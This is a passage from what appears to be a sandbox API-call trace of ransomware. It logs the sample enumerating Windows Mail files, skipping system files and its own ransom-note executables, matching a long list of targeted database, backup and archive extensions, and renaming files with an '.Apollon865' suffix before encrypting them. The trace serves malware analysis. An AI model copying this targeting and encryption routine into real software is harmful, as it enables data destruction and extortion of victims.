	[0037.615] lstrcmpiW (lpString1="unt", lpString2="mdb") returned 1
	[0037.615] lstrlenW (lpString="sql") returned 3
	[0037.616] lstrcmpiW (lpString1="unt", lpString2="sql") returned 1
	[0037.616] lstrlenW (lpString="sqlite") returned 6
	[0037.616] lstrcmpiW (lpString1="ccount", lpString2="sqlite") returned -1
	[0037.616] lstrlenW (lpString="sqlite3") returned 7
	[0037.616] lstrcmpiW (lpString1="account", lpString2="sqlite3") returned -1
	[0037.616] lstrlenW (lpString="sqlitedb") returned 8
	[0037.616] lstrcmpiW (lpString1="eaccount", lpString2="sqlitedb") returned -1
	[0037.616] lstrlenW (lpString="xml") returned 3
	[0037.616] lstrcmpiW (lpString1="unt", lpString2="xml") returned -1
	[0037.616] lstrlenW (lpString="$er") returned 3
	[0037.616] lstrcmpiW (lpString1="unt", lpString2="$er") returned 1
	[0037.616] lstrlenW (lpString="4dd") returned 3
	[0037.616] lstrcmpiW (lpString1="unt", lpString2="4dd") returned 1
	[0037.616] lstrlenW (lpString="4dl") returned 3
	[0037.616] lstrcmpiW (lpString1="unt", lpString2="4dl") returned 1
	[0037.616] lstrlenW (lpString="^^^") returned 3
	[0037.616] lstrcmpiW (lpString1="unt", lpString2="^^^") returned 1
	[0037.616] lstrlenW (lpString="abs") returned 3
	[0037.616] lstrcmpiW (lpString1="unt", lpString2="abs") returned 1
	[0037.616] lstrlenW (lpString="abx") returned 3
	[0037.616] lstrcmpiW (lpString1="unt", lpString2="abx") returned 1
	[0037.616] lstrlenW (lpString="accdb") returned 5
	[0037.616] lstrcmpiW (lpString1="count", lpString2="accdb") returned 1
	[0037.616] lstrlenW (lpString="accdc") returned 5
	[0037.616] lstrcmpiW (lpString1="count", lpString2="accdc") returned 1
	[0037.616] lstrlenW (lpString="accde") returned 5
	[0037.616] lstrcmpiW (lpString1="count", lpString2="accde") returned 1
	[0037.616] lstrlenW (lpString="accdr") returned 5
	[0037.616] lstrcmpiW (lpString1="count", lpString2="accdr") returned 1
	[0037.616] lstrlenW (lpString="accdt") returned 5
	[0037.616] lstrcmpiW (lpString1="count", lpString2="accdt") returned 1
	[0037.616] lstrlenW (lpString="accdw") returned 5
	[0037.616] lstrcmpiW (lpString1="count", lpString2="accdw") returned 1
	[0037.616] lstrlenW (lpString="accft") returned 5
	[0037.616] lstrcmpiW (lpString1="count", lpString2="accft") returned 1
	[0037.616] lstrlenW (lpString="adb") returned 3
	[0037.616] lstrcmpiW (lpString1="unt", lpString2="adb") returned 1
	[0037.616] lstrlenW (lpString="adb") returned 3
	[0037.617] lstrcmpiW (lpString1="unt", lpString2="adb") returned 1
	[0037.617] lstrlenW (lpString="ade") returned 3
	[0037.617] lstrcmpiW (lpString1="unt", lpString2="ade") returned 1
	[0037.617] lstrlenW (lpString="adf") returned 3
	[0037.617] lstrcmpiW (lpString1="unt", lpString2="adf") returned 1
	[0037.617] lstrlenW (lpString="adn") returned 3
	[0037.617] lstrcmpiW (lpString1="unt", lpString2="adn") returned 1
	[0037.617] lstrlenW (lpString="adp") returned 3
	[0037.617] lstrcmpiW (lpString1="unt", lpString2="adp") returned 1
	[0037.617] lstrlenW (lpString="alf") returned 3
	[0037.617] lstrcmpiW (lpString1="unt", lpString2="alf") returned 1
	[0037.617] lstrlenW (lpString="ask") returned 3
	[0037.617] lstrcmpiW (lpString1="unt", lpString2="ask") returned 1
	[0037.617] lstrlenW (lpString="btr") returned 3
	[0037.617] lstrcmpiW (lpString1="unt", lpString2="btr") returned 1
	[0037.617] lstrlenW (lpString="cat") returned 3
	[0037.617] lstrcmpiW (lpString1="unt", lpString2="cat") returned 1
	[0037.617] lstrlenW (lpString="cdb") returned 3
	[0037.617] lstrcmpiW (lpString1="unt", lpString2="cdb") returned 1
	[0037.617] lstrlenW (lpString="ckp") returned 3
	[0037.617] lstrcmpiW (lpString1="unt", lpString2="ckp") returned 1
	[0037.617] lstrlenW (lpString="cma") returned 3
	[0037.617] lstrcmpiW (lpString1="unt", lpString2="cma") returned 1
	[0037.617] lstrlenW (lpString="cpd") returned 3
	[0037.617] lstrcmpiW (lpString1="unt", lpString2="cpd") returned 1
	[0037.617] lstrlenW (lpString="dacpac") returned 6
	[0037.617] lstrcmpiW (lpString1="ccount", lpString2="dacpac") returned -1
	[0037.617] lstrlenW (lpString="dad") returned 3
	[0037.617] lstrcmpiW (lpString1="unt", lpString2="dad") returned 1
	[0037.617] lstrlenW (lpString="dadiagrams") returned 10
	[0037.617] lstrcmpiW (lpString1=".oeaccount", lpString2="dadiagrams") returned -1
	[0037.617] lstrlenW (lpString="daschema") returned 8
	[0037.617] lstrcmpiW (lpString1="eaccount", lpString2="daschema") returned 1
	[0037.617] lstrlenW (lpString="db-journal") returned 10
	[0037.617] lstrcmpiW (lpString1=".oeaccount", lpString2="db-journal") returned -1
	[0037.617] lstrlenW (lpString="db-shm") returned 6
	[0037.617] lstrcmpiW (lpString1="ccount", lpString2="db-shm") returned -1
	[0037.618] lstrlenW (lpString="db-wal") returned 6
	[0037.618] lstrcmpiW (lpString1="ccount", lpString2="db-wal") returned -1
	[0037.618] lstrlenW (lpString="dbc") returned 3
	[0037.618] lstrcmpiW (lpString1="unt", lpString2="dbc") returned 1
	[0037.618] lstrlenW (lpString="dbs") returned 3
	[0037.618] lstrcmpiW (lpString1="unt", lpString2="dbs") returned 1
	[0037.618] lstrlenW (lpString="dbt") returned 3
	[0037.618] lstrcmpiW (lpString1="unt", lpString2="dbt") returned 1
	[0037.618] lstrlenW (lpString="dbv") returned 3
	[0037.618] lstrcmpiW (lpString1="unt", lpString2="dbv") returned 1
	[0037.618] lstrlenW (lpString="dbx") returned 3
	[0037.618] lstrcmpiW (lpString1="unt", lpString2="dbx") returned 1
	[0037.618] lstrlenW (lpString="dcb") returned 3
	[0037.618] lstrcmpiW (lpString1="unt", lpString2="dcb") returned 1
	[0037.618] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount" | out: lpString1="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount") returned="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount"
	[0037.618] lstrlenW (lpString="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount") returned 55
	[0037.618] lstrlenW (lpString="Apollon865") returned 10
	[0037.618] lstrcmpiW (lpString1=".oeaccount", lpString2="Apollon865") returned -1
	[0037.618] lstrlenW (lpString=".dll") returned 4
	[0037.618] lstrcmpiW (lpString1="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount", lpString2=".dll") returned 1
	[0037.618] lstrlenW (lpString=".lnk") returned 4
	[0037.618] lstrcmpiW (lpString1="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount", lpString2=".lnk") returned 1
	[0037.618] lstrlenW (lpString=".ini") returned 4
	[0037.618] lstrcmpiW (lpString1="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount", lpString2=".ini") returned 1
	[0037.618] lstrlenW (lpString=".sys") returned 4
	[0037.618] lstrcmpiW (lpString1="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount", lpString2=".sys") returned 1
	[0037.618] lstrlenW (lpString="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount") returned 55
	[0037.618] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="Backup" | out: lpString1="Backup") returned="Backup"
	[0037.618] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b08
	[0037.618] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7a) returned 0x5bf568
	[0037.618] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b10 | out: ListHead=0x5b76b0, ListEntry=0x5b7b10) returned 0x5b7af0
	[0037.618] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd7bc3a13, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="edb.chk", cAlternateFileName="")) returned 1
	[0037.619] lstrcmpiW (lpString1="edb.chk", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0037.619] lstrcmpiW (lpString1="edb.chk", lpString2="Apollon865.txt.exe") returned 1
	[0037.619] lstrcmpiW (lpString1="edb.chk", lpString2=".") returned 1
	[0037.619] lstrcmpiW (lpString1="edb.chk", lpString2="..") returned 1
	[0037.619] lstrcmpiW (lpString1="edb.chk", lpString2="windows") returned -1
	[0037.619] lstrcmpiW (lpString1="edb.chk", lpString2="bootmgr") returned 1
	[0037.619] lstrcmpiW (lpString1="edb.chk", lpString2="temp") returned -1
	[0037.619] lstrcmpiW (lpString1="edb.chk", lpString2="pagefile.sys") returned -1
	[0037.619] lstrcmpiW (lpString1="edb.chk", lpString2="boot") returned 1
	[0037.619] lstrcmpiW (lpString1="edb.chk", lpString2="ids.txt") returned -1
	[0037.619] lstrcmpiW (lpString1="edb.chk", lpString2="ntuser.dat") returned -1
	[0037.619] lstrcmpiW (lpString1="edb.chk", lpString2="perflogs") returned -1
	[0037.619] lstrcmpiW (lpString1="edb.chk", lpString2="MSBuild") returned -1
	[0037.619] lstrlenW (lpString="edb.chk") returned 7
	[0037.619] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup") returned 60
	[0037.619] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="edb.chk" | out: lpString1="edb.chk") returned="edb.chk"
	[0037.619] lstrlenW (lpString="edb.chk") returned 7
	[0037.619] lstrlenW (lpString="Apollon865") returned 10
	[0037.619] lstrlenW (lpString=".dll") returned 4
	[0037.619] lstrcmpiW (lpString1="edb.chk", lpString2=".dll") returned 1
	[0037.619] lstrlenW (lpString=".lnk") returned 4
	[0037.619] lstrcmpiW (lpString1="edb.chk", lpString2=".lnk") returned 1
	[0037.619] lstrlenW (lpString=".ini") returned 4
	[0037.619] lstrcmpiW (lpString1="edb.chk", lpString2=".ini") returned 1
	[0037.619] lstrlenW (lpString=".sys") returned 4
	[0037.619] lstrcmpiW (lpString1="edb.chk", lpString2=".sys") returned 1
	[0037.619] lstrlenW (lpString="edb.chk") returned 7
	[0037.619] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="edb.log" | out: lpString1="edb.log") returned="edb.log"
	[0037.619] lstrlenW (lpString="edb.log") returned 7
	[0037.619] lstrlenW (lpString="Apollon865") returned 10
	[0037.619] lstrlenW (lpString=".dll") returned 4
	[0037.619] lstrcmpiW (lpString1="edb.log", lpString2=".dll") returned 1
	[0037.619] lstrlenW (lpString=".lnk") returned 4
	[0037.619] lstrcmpiW (lpString1="edb.log", lpString2=".lnk") returned 1
	[0037.619] lstrlenW (lpString=".ini") returned 4
	[0037.620] lstrcmpiW (lpString1="edb.log", lpString2=".ini") returned 1
	[0037.620] lstrlenW (lpString=".sys") returned 4
	[0037.620] lstrcmpiW (lpString1="edb.log", lpString2=".sys") returned 1
	[0037.620] lstrlenW (lpString="edb.log") returned 7
	[0037.620] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="edb00001.log" | out: lpString1="edb00001.log") returned="edb00001.log"
	[0037.620] lstrlenW (lpString="edb00001.log") returned 12
	[0037.620] lstrlenW (lpString="Apollon865") returned 10
	[0037.620] lstrcmpiW (lpString1="b00001.log", lpString2="Apollon865") returned 1
	[0037.620] lstrlenW (lpString=".dll") returned 4
	[0037.620] lstrcmpiW (lpString1="edb00001.log", lpString2=".dll") returned 1
	[0037.620] lstrlenW (lpString=".lnk") returned 4
	[0037.620] lstrcmpiW (lpString1="edb00001.log", lpString2=".lnk") returned 1
	[0037.620] lstrlenW (lpString=".ini") returned 4
	[0037.620] lstrcmpiW (lpString1="edb00001.log", lpString2=".ini") returned 1
	[0037.620] lstrlenW (lpString=".sys") returned 4
	[0037.620] lstrcmpiW (lpString1="edb00001.log", lpString2=".sys") returned 1
	[0037.620] lstrlenW (lpString="edb00001.log") returned 12
	[0037.620] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="edbres00001.jrs" | out: lpString1="edbres00001.jrs") returned="edbres00001.jrs"
	[0037.620] lstrlenW (lpString="edbres00001.jrs") returned 15
	[0037.620] lstrlenW (lpString="Apollon865") returned 10
	[0037.620] lstrcmpiW (lpString1="s00001.jrs", lpString2="Apollon865") returned 1
	[0037.620] lstrlenW (lpString=".dll") returned 4
	[0037.620] lstrcmpiW (lpString1="edbres00001.jrs", lpString2=".dll") returned 1
	[0037.620] lstrlenW (lpString=".lnk") returned 4
	[0037.620] lstrcmpiW (lpString1="edbres00001.jrs", lpString2=".lnk") returned 1
	[0037.620] lstrlenW (lpString=".ini") returned 4
	[0037.620] lstrcmpiW (lpString1="edbres00001.jrs", lpString2=".ini") returned 1
	[0037.620] lstrlenW (lpString=".sys") returned 4
	[0037.620] lstrcmpiW (lpString1="edbres00001.jrs", lpString2=".sys") returned 1
	[0037.620] lstrlenW (lpString="edbres00001.jrs") returned 15
	[0037.620] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="edbres00002.jrs" | out: lpString1="edbres00002.jrs") returned="edbres00002.jrs"
	[0037.620] lstrlenW (lpString="edbres00002.jrs") returned 15
	[0037.620] lstrlenW (lpString="Apollon865") returned 10
	[0037.620] lstrcmpiW (lpString1="s00002.jrs", lpString2="Apollon865") returned 1
	[0037.621] lstrlenW (lpString=".dll") returned 4
	[0037.621] lstrcmpiW (lpString1="edbres00002.jrs", lpString2=".dll") returned 1
	[0037.621] lstrlenW (lpString=".lnk") returned 4
	[0037.621] lstrcmpiW (lpString1="edbres00002.jrs", lpString2=".lnk") returned 1
	[0037.621] lstrlenW (lpString=".ini") returned 4
	[0037.621] lstrcmpiW (lpString1="edbres00002.jrs", lpString2=".ini") returned 1
	[0037.621] lstrlenW (lpString=".sys") returned 4
	[0037.621] lstrcmpiW (lpString1="edbres00002.jrs", lpString2=".sys") returned 1
	[0037.621] lstrlenW (lpString="edbres00002.jrs") returned 15
	[0037.621] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="oeold.xml" | out: lpString1="oeold.xml") returned="oeold.xml"
	[0037.621] lstrlenW (lpString="oeold.xml") returned 9
	[0037.621] lstrlenW (lpString="Apollon865") returned 10
	[0037.621] lstrlenW (lpString=".dll") returned 4
	[0037.621] lstrcmpiW (lpString1="oeold.xml", lpString2=".dll") returned 1
	[0037.621] lstrlenW (lpString=".lnk") returned 4
	[0037.621] lstrcmpiW (lpString1="oeold.xml", lpString2=".lnk") returned 1
	[0037.621] lstrlenW (lpString=".ini") returned 4
	[0037.621] lstrcmpiW (lpString1="oeold.xml", lpString2=".ini") returned 1
	[0037.621] lstrlenW (lpString=".sys") returned 4
	[0037.621] lstrcmpiW (lpString1="oeold.xml", lpString2=".sys") returned 1
	[0037.621] lstrlenW (lpString="oeold.xml") returned 9
	[0037.621] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\oeold.xml.Apollon865") returned 74
	[0037.621] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\oeold.xml" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\oeold.xml"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\oeold.xml.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\oeold.xml.apollon865"), dwFlags=0x1) returned 1
	[0037.622] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\oeold.xml.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\oeold.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x14c
	[0037.622] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=260) returned 1
	[0037.622] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0037.622] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0037.622] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0037.622] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0037.623] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0037.623] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0037.623] CreateFileMappingW (hFile=0x14c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x410, lpName=0x0) returned 0x150
	[0037.625] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x410) returned 0x100000
	[0037.626] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0037.627] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0037.627] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0037.627] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0037.627] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0037.627] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0037.627] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0037.627] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0037.627] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0037.627] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x599bd8
	[0037.627] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0037.627] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599bd8 | out: hHeap=0x580000) returned 1
	[0037.627] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0037.627] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0037.627] CloseHandle (hObject=0x150) returned 1
	[0037.628] CloseHandle (hObject=0x14c) returned 1
	[0037.629] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0037.629] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0037.629] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0037.629] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x650f7e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf690d5d8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1
	[0037.629] lstrcmpiW (lpString1="Stationery", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0037.629] lstrcmpiW (lpString1="Stationery", lpString2="Apollon865.txt.exe") returned 1
	[0037.629] lstrcmpiW (lpString1="Stationery", lpString2=".") returned 1
	[0037.629] lstrcmpiW (lpString1="Stationery", lpString2="..") returned 1
	[0037.629] lstrcmpiW (lpString1="Stationery", lpString2="windows") returned -1
	[0037.629] lstrcmpiW (lpString1="Stationery", lpString2="bootmgr") returned 1
	[0037.629] lstrcmpiW (lpString1="Stationery", lpString2="temp") returned -1
	[0037.629] lstrcmpiW (lpString1="Stationery", lpString2="pagefile.sys") returned 1
	[0037.630] lstrcmpiW (lpString1="Stationery", lpString2="boot") returned 1
	[0037.630] lstrcmpiW (lpString1="Stationery", lpString2="ids.txt") returned 1
	[0037.630] lstrcmpiW (lpString1="Stationery", lpString2="ntuser.dat") returned 1
	[0037.630] lstrcmpiW (lpString1="Stationery", lpString2="perflogs") returned 1
	[0037.630] lstrcmpiW (lpString1="Stationery", lpString2="MSBuild") returned 1
	[0037.630] lstrlenW (lpString="Stationery") returned 10
	[0037.630] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\oeold.xml") returned 63
	[0037.630] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="Stationery" | out: lpString1="Stationery") returned="Stationery"
	[0037.630] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b28
	[0037.630] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x82) returned 0x5b9168
	[0037.630] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b30 | out: ListHead=0x5b76b0, ListEntry=0x5b7b30) returned 0x5b7b10
	[0037.630] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6451100, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd7b05332, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x204000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WindowsMail.MSMessageStore", cAlternateFileName="WINDOW~1.MSM")) returned 1
	[0037.630] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0037.630] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2="Apollon865.txt.exe") returned 1
	[0037.630] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2=".") returned 1
	[0037.630] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2="..") returned 1
	[0037.630] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2="windows") returned 1
	[0037.630] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2="bootmgr") returned 1
	[0037.630] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2="temp") returned 1
	[0037.630] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2="pagefile.sys") returned 1
	[0037.630] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2="boot") returned 1
	[0037.630] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2="ids.txt") returned 1
	[0037.630] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2="ntuser.dat") returned 1
	[0037.630] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2="perflogs") returned 1
	[0037.630] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2="MSBuild") returned 1
	[0037.630] lstrlenW (lpString="WindowsMail.MSMessageStore") returned 26
	[0037.630] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 64
	[0037.630] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="WindowsMail.MSMessageStore" | out: lpString1="WindowsMail.MSMessageStore") returned="WindowsMail.MSMessageStore"
	[0037.630] lstrlenW (lpString="WindowsMail.MSMessageStore") returned 26
	[0037.630] lstrlenW (lpString="Apollon865") returned 10
	[0037.630] lstrcmpiW (lpString1="ssageStore", lpString2="Apollon865") returned 1
	[0037.630] lstrlenW (lpString=".dll") returned 4
	[0037.630] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2=".dll") returned 1
	[0037.630] lstrlenW (lpString=".lnk") returned 4
	[0037.630] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2=".lnk") returned 1
	[0037.631] lstrlenW (lpString=".ini") returned 4
	[0037.631] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2=".ini") returned 1
	[0037.631] lstrlenW (lpString=".sys") returned 4
	[0037.631] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2=".sys") returned 1
	[0037.631] lstrlenW (lpString="WindowsMail.MSMessageStore") returned 26
	[0037.631] lstrlenW (lpString="bak") returned 3
	[0037.631] lstrcmpiW (lpString1="ore", lpString2="bak") returned 1
	[0037.631] lstrlenW (lpString="ba_") returned 3
	[0037.631] lstrcmpiW (lpString1="ore", lpString2="ba_") returned 1
	[0037.631] lstrlenW (lpString="dbb") returned 3
	[0037.631] lstrcmpiW (lpString1="ore", lpString2="dbb") returned 1
	[0037.631] lstrlenW (lpString="vmdk") returned 4
	[0037.631] lstrcmpiW (lpString1="tore", lpString2="vmdk") returned -1
	[0037.631] lstrlenW (lpString="rar") returned 3
	[0037.631] lstrcmpiW (lpString1="ore", lpString2="rar") returned -1
	[0037.631] lstrlenW (lpString="zip") returned 3
	[0037.631] lstrcmpiW (lpString1="ore", lpString2="zip") returned -1
	[0037.631] lstrlenW (lpString="tgz") returned 3
	[0037.631] lstrcmpiW (lpString1="ore", lpString2="tgz") returned -1
	[0037.631] lstrlenW (lpString="vbox") returned 4
	[0037.631] lstrcmpiW (lpString1="tore", lpString2="vbox") returned -1
	[0037.631] lstrlenW (lpString="vdi") returned 3
	[0037.631] lstrcmpiW (lpString1="ore", lpString2="vdi") returned -1
	[0037.631] lstrlenW (lpString="vhd") returned 3
	[0037.631] lstrcmpiW (lpString1="ore", lpString2="vhd") returned -1
	[0037.631] lstrlenW (lpString="vhdx") returned 4
	[0037.631] lstrcmpiW (lpString1="tore", lpString2="vhdx") returned -1
	[0037.631] lstrlenW (lpString="avhd") returned 4
	[0037.631] lstrcmpiW (lpString1="tore", lpString2="avhd") returned 1
	[0037.631] lstrlenW (lpString="db") returned 2
	[0037.631] lstrcmpiW (lpString1="re", lpString2="db") returned 1
	[0037.631] lstrlenW (lpString="db2") returned 3
	[0037.631] lstrcmpiW (lpString1="ore", lpString2="db2") returned 1
	[0037.631] lstrlenW (lpString="db3") returned 3
	[0037.631] lstrcmpiW (lpString1="ore", lpString2="db3") returned 1
	[0037.631] lstrlenW (lpString="dbf") returned 3
	[0037.631] lstrcmpiW (lpString1="ore", lpString2="dbf") returned 1
	[0037.631] lstrlenW (lpString="mdf") returned 3
	[0037.632] lstrcmpiW (lpString1="ore", lpString2="mdf") returned 1
	[0037.632] lstrlenW (lpString="mdb") returned 3
	[0037.632] lstrcmpiW (lpString1="ore", lpString2="mdb") returned 1
	[0037.632] lstrlenW (lpString="sql") returned 3
	[0037.632] lstrcmpiW (lpString1="ore", lpString2="sql") returned -1
	[0037.632] lstrlenW (lpString="sqlite") returned 6
	[0037.632] lstrcmpiW (lpString1="eStore", lpString2="sqlite") returned -1
	[0037.632] lstrlenW (lpString="sqlite3") returned 7
	[0037.632] lstrcmpiW (lpString1="geStore", lpString2="sqlite3") returned -1
	[0037.632] lstrlenW (lpString="sqlitedb") returned 8
	[0037.632] lstrcmpiW (lpString1="ageStore", lpString2="sqlitedb") returned -1
	[0037.632] lstrlenW (lpString="xml") returned 3
	[0037.632] lstrcmpiW (lpString1="ore", lpString2="xml") returned -1
	[0037.632] lstrlenW (lpString="$er") returned 3
	[0037.632] lstrcmpiW (lpString1="ore", lpString2="$er") returned 1
	[0037.632] lstrlenW (lpString="4dd") returned 3
	[0037.632] lstrcmpiW (lpString1="ore", lpString2="4dd") returned 1
	[0037.632] lstrlenW (lpString="4dl") returned 3
	[0037.632] lstrcmpiW (lpString1="ore", lpString2="4dl") returned 1
	[0037.632] lstrlenW (lpString="^^^") returned 3
	[0037.632] lstrcmpiW (lpString1="ore", lpString2="^^^") returned 1
	[0037.632] lstrlenW (lpString="abs") returned 3
	[0037.632] lstrcmpiW (lpString1="ore", lpString2="abs") returned 1
	[0037.632] lstrlenW (lpString="abx") returned 3
	[0037.632] lstrcmpiW (lpString1="ore", lpString2="abx") returned 1
	[0037.632] lstrlenW (lpString="accdb") returned 5
	[0037.632] lstrcmpiW (lpString1="Store", lpString2="accdb") returned 1
	[0037.632] lstrlenW (lpString="accdc") returned 5
